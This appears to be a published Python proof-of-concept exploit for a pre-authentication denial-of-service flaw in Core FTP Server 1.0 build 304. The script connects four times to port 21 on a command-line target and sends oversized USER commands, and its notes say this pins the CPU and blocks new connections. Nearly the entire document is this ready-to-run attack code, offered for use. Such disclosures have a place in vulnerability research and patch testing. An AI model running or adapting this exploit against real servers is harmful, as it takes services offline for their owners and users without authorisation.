#!/usr/bin/env python ################################################################################### # # Core FTP Server 1.0, build 304 Remote Denial of Service Exploit (Pre Auth) # Found By: Dr_IDE # Tested On: Windows XPSP3 # Download: http://www.coreftp.com/server/ # Notes: This will cause CPU usage to go to 100% and prevent new connections # Usage: ./script # ################################################################################### import socket, sys def banner(): print "\n##################################################################" print "# #" print "# Core FTP Server 1.0, build 304 Remote DoS Exploit #" print "# by Dr_IDE #" print "# #" print "##################################################################\n" s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s4 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); buff = ("\x41" * 2048); try: banner(); print ("[*] Connecting to target..."); s1.connect((sys.argv[1] , 21)); s2.connect((sys.argv[1] , 21)); s3.connect((sys.argv[1] , 21)); s4.connect((sys.argv[1] , 21)); print ("[*] Sending evil stuff..."); s1.send("USER " + buff + "\r\n"); s2.send("USER " + buff + "\r\n"); s3.send("USER " + buff + "\r\n"); s4.send("USER " + buff + "\r\n"); print ("[*] Success! The server should now be inaccessible"); s1.close(); s2.close(); s3.close(); s4.close(); except: print ("[-] Could not connect to server.");